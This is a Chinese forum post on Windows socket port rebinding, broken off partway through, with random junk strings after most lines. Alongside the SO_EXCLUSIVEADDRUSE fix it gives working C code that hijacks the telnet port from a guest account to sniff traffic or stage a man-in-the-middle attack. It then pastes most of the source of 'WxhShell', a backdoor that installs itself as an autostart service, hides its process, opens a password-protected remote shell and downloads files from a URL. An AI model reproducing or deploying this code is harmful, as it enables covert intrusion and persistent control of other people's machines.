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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Nmx\qJUR(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AHs%?5YTY;  
/)TeG]Xg  
  saddr.sin_family = AF_INET; b<y*:(:  
y?UJ <QAi  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); TI3xt-/  
3q4Zwv0z20  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6k0Awcr  
XcoX8R%U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9!=4}:+  
,5zY1C==Ut  
  这意味着什么?意味着可以进行如下的攻击: 6kp)'wz`  
A~Sc ] M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (DvPdOT+3  
Y[L,rc/j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |5(un#  
o+hp#e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %6(\Ki6I  
"*#f^/LS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6xx.Z3v  
LIG@`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4-[U[JJc  
5P <"I["  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &]a(5  
8US35t:M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Gs"lmX-{$j  
|rJN  
  #include o% +w:u.  
  #include gtH^'vFZ  
  #include 9K}DmS  
  #include    'E#L6,&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H 2I  
  int main() x(u.(:V  
  { -}TP)/ !,*  
  WORD wVersionRequested; [cDDZ+6  
  DWORD ret; (zsmJe  
  WSADATA wsaData; aW:*!d#  
  BOOL val; @{qcu\sZ  
  SOCKADDR_IN saddr; H%n/;DW  
  SOCKADDR_IN scaddr; j6^.Q/{^  
  int err; ^kK")+K  
  SOCKET s; pWzYC@_W  
  SOCKET sc; a`yCPnB(  
  int caddsize; 4;~xRg;u&*  
  HANDLE mt; ww %c+O/  
  DWORD tid;   DOtz  
  wVersionRequested = MAKEWORD( 2, 2 ); H$?MPA-c  
  err = WSAStartup( wVersionRequested, &wsaData ); W:<2" &7  
  if ( err != 0 ) { G?F!Z"S  
  printf("error!WSAStartup failed!\n"); Ke^/aGi}O  
  return -1; '2l[~T$*  
  } "T /$K  
  saddr.sin_family = AF_INET; y+BiaD!U  
   9*j"@Rm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tPiC?=4R  
v89tV9O)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); " xC$Ko _  
  saddr.sin_port = htons(23); 3U?gw!M>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W!el[@  
  { 0KExB{K  
  printf("error!socket failed!\n"); )]Zdaw)X  
  return -1; SKf;Fe  
  } ^K`PYai  
  val = TRUE; L7 FFa:#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &:d`Pik6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zLr:zfl  
  { ~yN>9f U  
  printf("error!setsockopt failed!\n"); eY Rd#w  
  return -1; Zu#^a|PE*  
  } vKoQ!7g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?a+J4Zr3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T: '<:*pD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q\P{h ij  
7KC2%s#7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @?tR-L<u  
  { (Z@- e^R  
  ret=GetLastError(); 4%v-)HGh  
  printf("error!bind failed!\n"); %[*_-%  
  return -1; e#6H[t  
  }  w D  
  listen(s,2);  [Ketg  
  while(1) agoMsxI9  
  { F$v^S+Ch  
  caddsize = sizeof(scaddr); g>ke;SH%KY  
  //接受连接请求 'U@Ep  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \RVfgfe  
  if(sc!=INVALID_SOCKET) )@ B !  
  { W:f)#'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !x-9A  
  if(mt==NULL) @(/$;I,  
  { \ Ho VS  
  printf("Thread Creat Failed!\n"); N}z]OvnZH  
  break; `aMnTF5:  
  } 9@ h-q(-  
  } /$qB&OWJn  
  CloseHandle(mt); 0^P9)<k'  
  } A@.ruG$  
  closesocket(s); *Q [%r  
  WSACleanup(); t P' ._0n0  
  return 0; 0 n{+_   
  }   H5FWk  
  DWORD WINAPI ClientThread(LPVOID lpParam) '&AeOn  
  { V-%jSe<  
  SOCKET ss = (SOCKET)lpParam; o9D#d\G  
  SOCKET sc; S="\S  
  unsigned char buf[4096]; OlW5k`B  
  SOCKADDR_IN saddr; v{SYz<(  
  long num; ]R"n+LnI:=  
  DWORD val; r_^]5C\  
  DWORD ret; p)7U%NMc(*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A8nf"mRD:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k~Y_%#_  
  saddr.sin_family = AF_INET; mk-L3H1@J3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tp V61L   
  saddr.sin_port = htons(23); @!\lt$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )Zyw^KN^  
  { KmF+3g~#s  
  printf("error!socket failed!\n"); k V'0rb  
  return -1; z\J#d 1e  
  } "8[Vb#=*e  
  val = 100; Ip,0C8T`Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K]U8y$^  
  { fxD|_  
  ret = GetLastError(); vf<Tq  
  return -1; AIQ]lQ(  
  } TY#pj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qy!pD R;  
  { )Vy}oFT\  
  ret = GetLastError(); t2-bw6U  
  return -1; Ga"<qmLMc  
  } Zg;Ht  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) oH [-fF  
  { g;nPF*(  
  printf("error!socket connect failed!\n"); ?P2 d 9b  
  closesocket(sc); OB+I.qlHP  
  closesocket(ss); sgeME^v  
  return -1; rI]n4>k{  
  } D7N` %A8   
  while(1) {<^PYN>`  
  { yc$8X sns  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;fY)7 '  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 74Il]i1=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :B_ itl0{e  
  num = recv(ss,buf,4096,0); 'l'[U  
  if(num>0) (Bfy   
  send(sc,buf,num,0); X@7e 7  
  else if(num==0) 1QDAfRx  
  break; (/_Z^m9   
  num = recv(sc,buf,4096,0); X?]1/6rV  
  if(num>0) /aMeKM[L`  
  send(ss,buf,num,0); TCO^9RP<  
  else if(num==0) "IsDL^)A9  
  break; "(y|iS$^T  
  } A!5)$>!o  
  closesocket(ss); Z}6H529[  
  closesocket(sc); b"#|0d0  
  return 0 ; L}U fd >*  
  }  W-U[7n  
$30lNZK1m8  
uw&'=G6v  
========================================================== )e:u 6]  
uJHf6Ye  
下边附上一个代码,,WXhSHELL YR/rN,  
n&uD=-  
========================================================== @k2nID^>  
\c$! C8z  
#include "stdafx.h" 8|p*T&Cn&  
,`< [ej   
#include <stdio.h> K1Wiiw  
#include <string.h> ijWn,bj  
#include <windows.h> ,U/ZG|=v  
#include <winsock2.h> j'JNQo;q  
#include <winsvc.h> ul3._Q   
#include <urlmon.h> gnSb)!i>z  
{p(.ck ze+  
#pragma comment (lib, "Ws2_32.lib") liq9P,(  
#pragma comment (lib, "urlmon.lib") 'Sjcm@ILm  
~I)\d/7o  
#define MAX_USER   100 // 最大客户端连接数 cw{[% 7  
#define BUF_SOCK   200 // sock buffer 6~0. YZ9  
#define KEY_BUFF   255 // 输入 buffer /\M3O  
0 /JusQ  
#define REBOOT     0   // 重启 cO !2|v8i  
#define SHUTDOWN   1   // 关机 !pLQRnI}6  
Li_ a|dI  
#define DEF_PORT   5000 // 监听端口 x5}Ru0Z  
m48m5>  
#define REG_LEN     16   // 注册表键长度 5*pCb,z>q  
#define SVC_LEN     80   // NT服务名长度 J$D#)w!$j  
;M"JN:J8  
// 从dll定义API J Covk1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5rpTR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  cUz7F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MRdZ'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'Nv*ePz  
J@c)SK%2h  
// wxhshell配置信息 n-n{+ Dl!  
struct WSCFG { Y_49UtJIg  
  int ws_port;         // 监听端口 f?1?$Sp/W  
  char ws_passstr[REG_LEN]; // 口令 H)5v X+9D  
  int ws_autoins;       // 安装标记, 1=yes 0=no rOu7r4  
  char ws_regname[REG_LEN]; // 注册表键名 bytAdS$3  
  char ws_svcname[REG_LEN]; // 服务名 |};P"&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {1V~`1(w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )xuvY3BPB?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QvH=<$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Zg/ra1n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'J&$L c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?_9A`LC*  
iIoeG_^*Y  
}; 4c*?9r@  
w QX,a;Br  
// default Wxhshell configuration -*u7MFq_  
struct WSCFG wscfg={DEF_PORT, /=}w%-;/;  
    "xuhuanlingzhe", L}1|R*b  
    1, >>voLDDd  
    "Wxhshell", /8i3I5*  
    "Wxhshell", gZe(aGh  
            "WxhShell Service", 9a5x~Z:'  
    "Wrsky Windows CmdShell Service", tTB,eR$  
    "Please Input Your Password: ", x_vaYUl)  
  1, Z!P7mH\c}  
  "http://www.wrsky.com/wxhshell.exe", c1?_L(  
  "Wxhshell.exe" _Jc[`2Uv_c  
    }; Re{vO&.  
{]/}3t  
// 消息定义模块 %(,Kj ~0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?6F\cl0.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7Rf${Wv0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l#_(suo64  
char *msg_ws_ext="\n\rExit."; I]|X6  
char *msg_ws_end="\n\rQuit."; P"LbWZ6Nj  
char *msg_ws_boot="\n\rReboot..."; 6;g"`l51  
char *msg_ws_poff="\n\rShutdown..."; %(IkUD  
char *msg_ws_down="\n\rSave to "; 9"3 7va  
:O}=$[  
char *msg_ws_err="\n\rErr!"; ]E\o<"#t/  
char *msg_ws_ok="\n\rOK!"; xn'&TQo0  
.|Pq!uLvc  
char ExeFile[MAX_PATH]; ^#T@NN0T  
int nUser = 0; @Q;%hb  
HANDLE handles[MAX_USER]; \Q"j^4   
int OsIsNt; zU;%s<(p  
%- W3F5NK  
SERVICE_STATUS       serviceStatus; "/e:V-W   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x t7ZrT  
/G`'9cD  
// 函数声明 |UN0jR  
int Install(void); XrY\ot`,D  
int Uninstall(void); 9K`(Ys&  
int DownloadFile(char *sURL, SOCKET wsh); '`#sOH  
int Boot(int flag); IvFxI#.ju  
void HideProc(void); *UVo>;  
int GetOsVer(void); [=[>1<L>  
int Wxhshell(SOCKET wsl); EIqe|a+  
void TalkWithClient(void *cs); ]Z?y\L*M-  
int CmdShell(SOCKET sock); X!,2/WT  
int StartFromService(void); Nr?Z[6O|  
int StartWxhshell(LPSTR lpCmdLine); zrqQcnx9(m  
7{%_6b"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); );o2e V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !e5!8z  
PT7-_r  
// 数据结构和表定义 B8){  
SERVICE_TABLE_ENTRY DispatchTable[] = }&+b\RE  
{ uOzol~TU)  
{wscfg.ws_svcname, NTServiceMain}, RjC3wO::  
{NULL, NULL} 'O%itCy)  
}; DlHt#Ob7  
[ZC{eg+D  
// 自我安装 i^9,.$<1  
int Install(void) =]k0*\PS  
{ >?/Pl"{b  
  char svExeFile[MAX_PATH]; cn62:p]5  
  HKEY key; z']TRjDbT  
  strcpy(svExeFile,ExeFile); 3mI(5~4A]?  
tI42]:z  
// 如果是win9x系统,修改注册表设为自启动 5G!0Yy['  
if(!OsIsNt) { >/@wht4- j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TYv'#{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J?]wA1  
  RegCloseKey(key); k1l\Rywp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kjVUG >e>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cZB?_[Cp  
  RegCloseKey(key); HjCWsQM  
  return 0; ^U"$uJz!c  
    } #|<\q*<  
  } zl?Gd4  
} ,E8:!r)6  
else { :w|ef;  
?VUU[h8"v5  
// 如果是NT以上系统,安装为系统服务 K/xn4N_UX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uDhe )  
if (schSCManager!=0) -;NGS )RM  
{ Iw)}YZmn  
  SC_HANDLE schService = CreateService oeV. K.  
  ( 5`Q*  
  schSCManager, t zn1|  
  wscfg.ws_svcname, ]ySm|&aU  
  wscfg.ws_svcdisp, > 2)@(f~g  
  SERVICE_ALL_ACCESS, 9:DT+^BB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !3O8B0K)v  
  SERVICE_AUTO_START, O52B  
  SERVICE_ERROR_NORMAL, 73Zx`00  
  svExeFile, JWZG)I]r  
  NULL, 8 5 L<  
  NULL, p.wed% O.  
  NULL, bwrM%BL  
  NULL, #)}K,FDd  
  NULL m*bTELb  
  ); / thFs4  
  if (schService!=0) 1SAO6Wh  
  { C{{RU7iqc&  
  CloseServiceHandle(schService); EM2=g9y  
  CloseServiceHandle(schSCManager); #VM+.75o1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qQ&=Z` p!  
  strcat(svExeFile,wscfg.ws_svcname); ]>v C.iYp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `!,"">5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .rPg  
  RegCloseKey(key); _HMQx_e0YM  
  return 0; k)j6rU  
    } +56N}MAs  
  } -!@]z2uU  
  CloseServiceHandle(schSCManager); p!oO}gE  
} a/wg%cWG_  
} .(J~:U  
7)RDu,fx  
return 1; Dj9 v9  
} D02'P{  
YCPU84f  
// 自我卸载 wH?]kV8Q  
int Uninstall(void) aB_~V h  
{ > J.q3  
  HKEY key; *XUJv&ZN  
'zJBp 9a%  
if(!OsIsNt) { :9H`O!VF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HNUpgNi  
  RegDeleteValue(key,wscfg.ws_regname); 7MbV|gM}  
  RegCloseKey(key); i C)+5L#'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H*.v*ro9_  
  RegDeleteValue(key,wscfg.ws_regname); K#%@4]jO3  
  RegCloseKey(key); }H Ct=W`  
  return 0; EpW89X  
  } F ,;B  
} wiFA 3_\G  
} "lV bla4b  
else { <lkt'iT=Sz  
A!$;pwn0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "cZ){w  
if (schSCManager!=0) $x~U&a  
{ gB_gjn\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w,T-vf  
  if (schService!=0) WJlJD*3  
  { 7_9^nDU  
  if(DeleteService(schService)!=0) { r@t \a+  
  CloseServiceHandle(schService); 2tw3 =)  
  CloseServiceHandle(schSCManager); 9]L4`.HM  
  return 0; o[aP+O Md  
  } 9oj#5Hq  
  CloseServiceHandle(schService); 9GX'+$R]  
  } FfRvi8  
  CloseServiceHandle(schSCManager); Od("tLIO}I  
} Dz3~cuVb  
} @?n~v^  
og?L 9  
return 1; *b4W+E  
} Y1wH_!%b  
%ONU0xtqk  
// 从指定url下载文件 J4]tT pu"K  
int DownloadFile(char *sURL, SOCKET wsh) !59,<N1Iu  
{ Q<Q?#v7NX  
  HRESULT hr; -5b#w"^w^  
char seps[]= "/"; 'u#c_m! 9  
char *token; 5oe{i/#di  
char *file; F2>W{-H+  
char myURL[MAX_PATH]; .~a.mT  
char myFILE[MAX_PATH]; kp-`_sDg  
g_3Ozy  
strcpy(myURL,sURL); 3dx.%~c  
  token=strtok(myURL,seps); WCYVonbg"  
  while(token!=NULL) ?!.L#]23f  
  { <lZVEg  
    file=token; w5+(A_  
  token=strtok(NULL,seps); :sS4T&@1=  
  } E{'Y>g B6  
cK-jN9U  
GetCurrentDirectory(MAX_PATH,myFILE); `.g'bZ<v/  
strcat(myFILE, "\\"); V 7oE\cxr  
strcat(myFILE, file); ]pWn%aGv*Y  
  send(wsh,myFILE,strlen(myFILE),0); vX?C9Fr2  
send(wsh,"...",3,0); d" =)=hm!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )GfL?'Z  
  if(hr==S_OK) sB*!Nf^y  
return 0; `i vE: 3k  
else 1j]vJ4R_\  
return 1; rMoz+{1A  
58t_j54  
} ,`8:@<e  
E#E&z(G2  
// 系统电源模块 ^KJi |'B  
int Boot(int flag) A6 I^`0/  
{ @8Cja.H  
  HANDLE hToken; <M,<|Y*)  
  TOKEN_PRIVILEGES tkp; ?L|Ai\|  
0Q~\1D 9g  
  if(OsIsNt) { X"V)oC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q8)w Al  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o]eG+i6g]  
    tkp.PrivilegeCount = 1; C{G;G@/7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Byh!Snoe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dG!)<  
if(flag==REBOOT) { dbg%n 0h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  e**5_L  
  return 0; _Qq lOc9  
} v\g1 w&PN  
else { EeQ2\'t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CHVAs9mrNB  
  return 0; [4Q;5 'Dj  
} OGcW]i  
  } ,ZZ5A;)  
  else { t:P]G>)x|  
if(flag==REBOOT) { f.c2AY~5[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B@ >t$jK  
  return 0; On(.(7sNc  
} *|^|| bd  
else { RS|*3 $1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `Bb32L   
  return 0; xS;tmc  
} Z6nQW53-  
} FP")$ ,=s  
Q?bC'147O  
return 1; hG}gKs  
} w}YcAnuB{%  
R1Fcd@DWD  
// win9x进程隐藏模块 }((P)\s  
void HideProc(void) ~"Su2{"8B  
{ tlYB'8bJY  
N+vsQ!Qz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z2jS(N?J1  
  if ( hKernel != NULL ) xxG>Leml  
  { "g/UpnH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K."W/A!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Rl (+TE  
    FreeLibrary(hKernel); /2cn`dR,  
  } wauM|/KG  
D|2lBU  
return; hP_{$c{4:g  
} i&-g  
_z\qtl~3  
// 获取操作系统版本 `,Fc271`  
int GetOsVer(void) /Ri-iC >  
{ 6%V#_]  
  OSVERSIONINFO winfo; 6A4{6B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [xXV5 JU  
  GetVersionEx(&winfo); As??_=>4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qykI[4  
  return 1; \Hu?K\SWs  
  else ;,Os3  
  return 0; P!!:p2fo  
} 1i#U&  
lr[&*v?h  
// 客户端句柄模块 R8|F qBs  
int Wxhshell(SOCKET wsl) ?{~. }Vn  
{ `a8&7 J(  
  SOCKET wsh; XcKyrh;i  
  struct sockaddr_in client; GXR7Ug}k  
  DWORD myID; 6Z-[-0o+g  
;(s.G-9S  
  while(nUser<MAX_USER) p]6/1&t="  
{ 3V/f-l]X/  
  int nSize=sizeof(client); {sUc2vR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MNX-D0`g  
  if(wsh==INVALID_SOCKET) return 1; mFyYn,Mu|  
$oIGlKc:L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GFZx[*+%%z  
if(handles[nUser]==0) %p};Di[V  
  closesocket(wsh); D[(T--LLT  
else 84gj%tw'-  
  nUser++; 2vW@d[<J  
  } {#l@9r%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7T?7KS  
eD N%p  
  return 0; tmC9p6%  
} 9|hPl-. .W  
)Ju$PrO  
// 关闭 socket cKAZWON8;v  
void CloseIt(SOCKET wsh) ntF#x.1Pm  
{ hF-X8$[  
closesocket(wsh); _1?Fy u&<5  
nUser--; BYs^?IfW  
ExitThread(0); <~Tfi*^+  
} MP`WU}2  
yGPi9j{QXq  
// 客户端请求句柄 ] I0(_e|z}  
void TalkWithClient(void *cs) Pl[WCh  
{  h93  
q8vRUlf  
  SOCKET wsh=(SOCKET)cs; A\<WnG>xjP  
  char pwd[SVC_LEN]; 2n5{H fpY  
  char cmd[KEY_BUFF]; [u`9R<>c"U  
char chr[1]; Dz&<6#L<  
int i,j; .e2 K\o  
Q_n9}LanP  
  while (nUser < MAX_USER) { x20sB  
&MF%zJ6  
if(wscfg.ws_passstr) { :#p!&Fi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]6EXaf#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7ip(-0  
  //ZeroMemory(pwd,KEY_BUFF); W= \gPCo  
      i=0; ^7% KS  
  while(i<SVC_LEN) { Nh|QYxOP  
;u: }rA)  
  // 设置超时 We,~P\g  
  fd_set FdRead; kP}91kja  
  struct timeval TimeOut; jP|(y]!  
  FD_ZERO(&FdRead); :j0r~*z-  
  FD_SET(wsh,&FdRead); 5%6r,?/7KM  
  TimeOut.tv_sec=8; [ Lo}_v&  
  TimeOut.tv_usec=0; 6~v|pA jY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s"\o6r ,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sGD b<  
D2}nJFR ]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,*@6NK,.  
  pwd=chr[0]; P9D'L{yS/x  
  if(chr[0]==0xd || chr[0]==0xa) { $?u ^hMU=  
  pwd=0; vMOit,{  
  break; f i3<  
  } AyMMr_q  
  i++; U ]6 Hml;l  
    } -*EK-j  
KD7 RI3'?  
  // 如果是非法用户,关闭 socket 6 4da~SEn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5? s$(Lt~  
} O5Xu(q5+  
Y?z@)cL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X|7Y|0o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 217KJ~)'  
&` u<KKF6  
while(1) { 0VB~4NNR  
~a5p_xP  
  ZeroMemory(cmd,KEY_BUFF);  98os4}r  
;?i(WV}ee  
      // 自动支持客户端 telnet标准   lc=C  
  j=0; h*Y);mc$#  
  while(j<KEY_BUFF) { <"@~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rQbL86+  
  cmd[j]=chr[0]; 451r!U1Z  
  if(chr[0]==0xa || chr[0]==0xd) {  wNW9xmS  
  cmd[j]=0; J..>ApX  
  break; +?~'K&@  
  } Eq9TJt'3y  
  j++; V>j6Juh  
    } #"a?3!wr  
;jTP|q?|{  
  // 下载文件 _gB`;zo  
  if(strstr(cmd,"http://")) { yk9|H)-z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [BHf>  
  if(DownloadFile(cmd,wsh)) 9LGJ-gL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O edL?4  
  else Gv}*T w$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AyKaazm]9  
  } 2i4FIS|z0  
  else { a8-2:8Su  
-L6 rXQV@j  
    switch(cmd[0]) { WJZW5 Xt  
  Mu18s}  
  // 帮助 SG8H~]CO)  
  case '?': { ?MuM _6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :*e0Z2=  
    break; h%(dT/jPL)  
  } #JGy2Hk$^  
  // 安装 #H(|+WEu  
  case 'i': { "TKf" zc  
    if(Install()) =O w}MX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <oPo?r|oM|  
    else jcN84AaRFI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,qpn4`zE~  
    break; &~U8S^os  
    } er^z:1'  
  // 卸载 &TSt/b/+W  
  case 'r': { : KZI+  
    if(Uninstall()) O%A:2Y79  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 52tIe|KwL  
    else s'ntf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +}>whyX1  
    break; ,>2ijk#  
    } X_|8CD-@6  
  // 显示 wxhshell 所在路径 =lS~2C  
  case 'p': { z['>`Kt  
    char svExeFile[MAX_PATH]; `,aPK/  
    strcpy(svExeFile,"\n\r"); [Ym?"YwVX  
      strcat(svExeFile,ExeFile); :HRJ49a  
        send(wsh,svExeFile,strlen(svExeFile),0); rZe"*$e  
    break; vyERt^z  
    } ;Mc\>i/  
  // 重启 U#+S9jWe  
  case 'b': { r`i<XGPJ%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3ZU`}  
    if(Boot(REBOOT)) $B*Ek>EK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b'O>&V`  
    else { @W=#gRqQPy  
    closesocket(wsh); U{RW=sYB~9  
    ExitThread(0); R(=Lhz6R4  
    } Q4TI '/  
    break; y VUA7IY  
    } /Bid:@R  
  // 关机 1s=M3m&H  
  case 'd': { 4s^5t6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wS <d8gw  
